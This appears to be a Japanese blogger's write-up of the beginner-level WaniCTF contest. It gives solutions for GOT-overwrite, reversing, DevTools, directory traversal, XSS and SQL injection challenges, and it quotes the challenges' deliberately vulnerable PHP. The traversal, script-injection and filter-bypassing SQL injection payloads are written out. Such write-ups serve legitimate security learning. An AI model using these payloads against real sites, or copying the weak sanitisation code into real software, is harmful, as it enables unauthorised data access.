win関数はプログラム実行時にも教えてくれるけど念の為。
- win:
0x400807
- printf:
0x601038
後はプログラム実行時に、素直に上記を書き換えていただくようお願いするのみ。
$ nc got.wanictf.org 9004 Welcome to GOT rewriter!!! win = 0x400807 Please input target address (0x600e10-0x6010b0): 601038 Your input address is 0x601038. Please input rewrite value: 400807 Your input rewrite value is 0x400807. *0x601038 <- 0x400807. congratulation! ls chall flag.txt redir.sh cat flag.txt FLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e}
このあたりの問題が類似問題。
[Reversing] strings [Beginner]
この問題ではLinuxのELF実行ファイル(バイナリ)である「strings」が配布されています。このバイナリは入力文字列をチェックし、正しいものかどうか判定する機能をもっています。
試しにFAKE{this_is_fake}と入力するとIncorrectと表示され、間違っている入力文字列であると示してくれます。
このバイナリが「正しい」と判定してくれる文字列を見つけ出してください。
ヒント:バイナリ解析のはじめの一歩は「表層解析」という手法です。
(このファイルを実行するためにはLinux環境が必要となりますのでWSLやVirtualBoxで用意してください)
$ file strings strings: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=78a1aa79cb6ab262c29bc2302ac50dc5f29e4d78, not stripped $ sudo chmod +x strings $ ./strings input flag : FAKE{this_is_fake} Incorrect
Writer : hi120ki
はーこれも親切な問題文だ!
問題文の通り、strings
バイナリが配布されます。
stringsバイナリ内で、単純な文字列比較をしている場合はバイナリの中にflagが直接書かれてるでしょう、ということで、問題の意図とは違うけどlinux立ち上げるのめんどくさかったので
$ strings strings | grep FLAG FLAG{s0me_str1ngs_rem4in_1n_t7e_b1nary}
strings
コマンドでgrep
したらflag出てきました。
[Reversing] simple [Normal]
「strings」問題は表層解析でフラグを見つけることができましたが、この問題では同じようにフラグは見つからないようです。
次の手法は「動的解析」と「静的解析」です。
Linux実行ファイルの解析において動的解析の代表的なツールが「GDB」、静的解析の代表的なツールが「Ghidra」です。
それぞれ入門記事が多く公開されていますのでぜひ動的解析と静的解析にチャレンジしてみてください!
Writer : hi120ki
simple
バイナリが配布されます。
とりあえずGhidraに放り込んでみます。
main関数のdecompile結果はこんな感じ。
undefined8 main(void) { size_t sVar1; undefined8 uVar2; char local_78 [4]; undefined local_74; ... (~略~) char local_48 [60]; uint local_c; printf("input flag : "); __isoc99_scanf(&DAT_00100922,local_48); sVar1 = strlen(local_48); if (sVar1 == 0x24) { local_78[0] = 'F'; local_78[1] = 0x4c; local_78[2] = 0x41; local_78[3] = 0x47; local_74 = 0x7b; local_73 = 0x35; local_72 = 0x69; local_71 = 0x6d; local_70 = 0x70; local_6f = 0x31; local_6e = 0x65; local_6d = 0x5f; local_6c = 0x52; local_6b = 0x65; local_6a = 0x76; local_69 = 0x65; local_68 = 0x72; local_67 = 0x73; local_66 = 0x31; local_65 = 0x6e; local_64 = 0x67; local_63 = 0x5f; local_62 = 0x34; local_61 = 0x72; local_60 = 0x72; local_5f = 0x61; local_5e = 0x79; local_5d = 0x5f; local_5c = 0x35; local_5b = 0x74; local_5a = 0x72; local_59 = 0x69; local_58 = 0x6e; local_57 = 0x67; local_56 = 0x73; local_55 = 0x7d; local_c = 0; while (local_c < 0x24) { if (local_48[(long)(int)local_c] != local_78[(long)(int)local_c]) { puts("Incorrect"); return 1; } local_c = local_c + 1; } printf("Correct! Flag is %s\n",local_48); uVar2 = 0; } else { puts("incorrect"); uVar2 = 1; } return uVar2; }
👍
16進数を上から順にascii変換すればOK。F
から始まって途中に{
である0x7b
、}
である0x7d
が最後に出てきていることからも明らか。
16進のところだけ切り出して、単純な返還なのでCyberChefに突っ込んだらflagが出ました。(冒頭にF
を追加する)
[Web] DevTools_1 [Beginner]
ブラウザの開発者ツールを使ってソースコードをのぞいてみましょう!
Writer : suuhito
指定されたurlを訪れてみると、こんなメッセージが。
問題文の通りソースコードをChrome開発者ツールで見てみると
コメントにFlagがありました。
[Web] DevTools_2 [Easy]
開発者ツールを使うと表示を書き換えることができます。
5000兆円欲しい!
(5000000000000000円持っていることにするとフラグを手に入れることができます。)
Writer : suuhito
なんて親切な問題文!
先程同じく、指定されたurlを訪れてみます。
画面はさっきと同じ。
問題文から、Chrome開発者ツールを開き、Elementsタブを開きます。
「あなたの総資産は0円です!」の0
を、問題文の通り5000000000000000
に書き換えます。
Enterして、ページをリロードすると、Flagのalert windowが開きました!
[Web] Simple Memo [Beginner]
問題ページ:https://simple.wanictf.org/
flag.txtというファイルに私の秘密を隠したが、 完璧にサニタイズしたため辿りつける訳がない。
(Hint) ディレクトリトラバーサルという脆弱性です。
何がサニタイズされているかを知るためにソースコード(reader.php)を参考にしてみてください。
(注意)
simple_memo.zipは問題を解くために必須の情報ではなく、docker-composeを利用してローカルで問題環境を再現するためのものです。
興味のある方は利用してみてください。
フムフム。またこれ親切な問題文!
reader.php
とsimple_memo.zip
が配布されますが、不要らしいので今回は左のphpのみ記載。zipは問題の理解とかに役立つので有り難いですね!
<?php function reader($file) { $memo_dir = "./memos/"; // sanitized $file = str_replace('../', '', $file); $filename = $memo_dir . $file; $memo_exist = file_exists($filename); if ($memo_exist) { $content = file_get_contents($filename); } else { $content = "No content."; } return $content; } ?>
問題urlを訪れるとこんなページ。
重要なメモに重要な情報が。
ということで、問題文とこのメモから、flag.txt
をディレクトリトラバーサルすれば良さそう。
ここで言っているサニタイズは str_replace('../', '', $file)
のことと思われる。
ただのreplaceなので、....//
のように入力すると、あいだの../
が削られて、外側の../
が残る。
https://simple.wanictf.org/index.php?file=....//flag.txt
でflagが出てきた。
[Web] striped table [Easy]
テーブルの行の背景色をストライプにする作業をしてもらったら、こんなことになってしまいました!
ページにjavascriptalert(19640503)を埋め込み実行させるとフラグが得られます。
https://striped.wanictf.org/?sourceにアクセスするとソースが閲覧できます。
Writer : suuhito
これも親切な問題文!問題のurlを訪れてみます。
どうやらメモを作るシンプルなアプリのようです。一通りメモを作成・一覧を表示してみました。
メモを作る際にタイトルと本文、にユーザーが入力できるようになっていること、問題文から一覧をみるときにストライプの色を付けるときにscriptを実行させるような脆弱性が埋め込まれたと予想できることから、下記の攻撃スクリプトをタイトル・本文の両方に入れてmemoを作成します。(コードをちゃんと読めばタイトル・本文どっちに入れるべきか、どこでスクリプトが実行されるのかはわかるはず)
<script>alert(19640503);</script>
で、一覧表示に戻るとスクリプトが実行され、flagが表示されました。
[Web] SQL Challenge 1 [Normal]
問題ページ: https://sql1.wanictf.org/index.php?year=2011
今まで見たアニメのリストをデータベースに登録したよ。間違えて秘密の情報(FLAG)もデータベースに登録しちゃったけど、たぶん誰にも見られないし大丈夫だよね。
(Hint)
SQL injectionの問題です。
URLの「year=」の後に続く数字(年号)をSQL injectionを起こすような文字列に変更するとFLAGが表示されます。
一部使えない文字もあるのでソースコード(index.php)を参考に考えてみてください。
必要に応じてデータベースのスキーマ(1_schema.sql)も参考にしてください。
(注意)
sql-chall-1.zipは問題を解くために必須の情報ではなく、docker-composeを利用してローカルで問題環境を再現するためのものです。
興味のある方は利用してみてください。
Writer : nkt
本当に親切な問題だなぁ!今度はSQL injection。
index.php
、1_schema.sql
、sql-chall-1.zip
が配布されますが、最後のは問題を特には不要らしいので前の2つを見ます。まずはスキーマ。
DROP TABLE IF EXISTS anime; CREATE TABLE anime ( name VARCHAR(32) NOT NULL, years INT(32) NOT NULL, PRIMARY KEY (name) );
問題サイトに訪れてみると、各年のアニメがズラリ。詳しくないのでよくわからないけど、多いな!!!
SQL injection問題と大ヒントがあること、ソースコードもスキーマも公開されているので、問題なさそう。
問題コードのここが注目ポイント。
//urlの"year="の後に入力した文字列を$yearに入れる。 $year = $_GET["year"]; //一部の文字は利用出来ません。以下の文字を使わずにFLAGを手に入れてください。 if (preg_match('/\s/', $year)) exit('危険を感知'); //スペース禁止 if (preg_match('/[\']/', $year)) exit('危険を感知'); //シングルクォート禁止 if (preg_match('/[\/\\\\]/', $year)) exit('危険を感知'); //スラッシュとバックスラッシュ禁止 if (preg_match('/[\|]/', $year)) exit('危険を感知'); //バーティカルバー禁止 //クエリを作成する。 $query = "SELECT * FROM anime WHERE years =$year"; //debug用にhtmlのコメントにクエリを表示させる。 echo "<!-- debug : ", htmlspecialchars($query), " -->\n"; //結果を表示させる。 if ($result = $mysqli->query($query)) { while ($row = $result->fetch_assoc()) { echo '<tr><th>' . $row['name'] . '</th><th>' . $row['years'] . '</th></tr>'; } $result->close(); } ?>
お、親切にもdebugでコメントに実際実行したクエリを表示してくれるらしい。開発者ツールで確認しながら実行できる。
結構フィルターされている文字があるので注意。
"year=xxx" でフィルタされていない、とにかくすべてのレコードを出してもらうようなクエリを、禁止ワードを用いずに組み立てる。
目指すクエリは
SELECT * FROM anime WHERE years =2016 or 1=1;
スペースを使ってしまっているので、カッコで区切りを代用。
SELECT * FROM anime WHERE years =(2016)or(1=1)
これを実現するために
?year=(2016)or(1=1)
をクエリに入れると、無事全部出たみたい🙌
year=930375071 のレコードにfalgがいました。
[Web] SQL Challenge 2 [Hard]
問題ページ: https://sql2.wanictf.org/index.php?year=2011
やっぱり前のページは危ない気がするからページを作り直したよ。これで大丈夫だね。
(Hint)
SQL injectionの問題です。
必要に応じてソースコード(index.php)とデータベースのスキーマ(1_schema.sql)を参考にしてください。
(注意)
sql-chall-2.zipは問題を解くために必須の情報ではなく、docker-composeを利用してローカルで問題環境を再現するためのものです。
興味のある方は利用してみてください。
Writer : okmt, nkt
テーブルのschemaは1と同じ。サイトの機能や見た目も1と同じ。
危険文字のフィルタが変わっている。
//preg_replaceで危険な記号を処理する。 $pattern = '/([^a-zA-Z0-9])/'; $replace = '\\\$0'; $year = preg_replace($pattern, $replace, $year);
これでa-zA-Z0-9
以外の文字列は、\
でエスケープされてしまいます。
さっきの (2016)or(1=1)
を入力してみると、debugコメントに
SELECT * FROM anime WHERE years = \(2016\)or\(1\=1\)
と表示されていました。なるほど。
いろいろ考えてみたけど、いい案を思いつかなかったので、「もしかしたらyearのschema、numberじゃなくてvarcharだったし、文字列の可能性あるかも?そしたら0
突っ込んだら無条件で一致するかも?」
と year = 0
を入れてみたらビンゴだった👍
感想など
問題も非常に丁寧で、初めて練習問題以外のCTF大会に出る人とかとても良かったのではと思いました。サイトもかっこいいし、私の知る限りでは安定して運用されていたように思います。
また来年もあったら参加したいなぁ!
個人的には、全員ソロ参加でオールジャンル+難易度低めという条件が自分にかなり合っていたのもあり、とても楽しめました!いつもなら週末開催のCTFは参加しないのですが、本当に参加してよかったです。
が、いかんせん幼児保護者としては休日なかなか時間が取れない…。私のレベルではHardやPwn系はまだまだじっくり時間をかけないと解けないので、手がつけられなかった&「あー!こうしたら解けそうだけど時間が足りなさすぎる!」な問題も結構ありました。CryptoもReversingもPwnもForensicsも、得意の力押しでもう少し取り組めた気がする…。「じっくり取り組んで自分がステップアップできそうな問題」に取り組めなかったのが心残り。復習しよう!
ところで Wani Hackase 、今更ですがネーミングセンス良すぎじゃないですか?
HackとHakase(ワニ博士は阪大のマスコットキャラクター)!皆まで説明すなって話ですけど感動したのでつい…。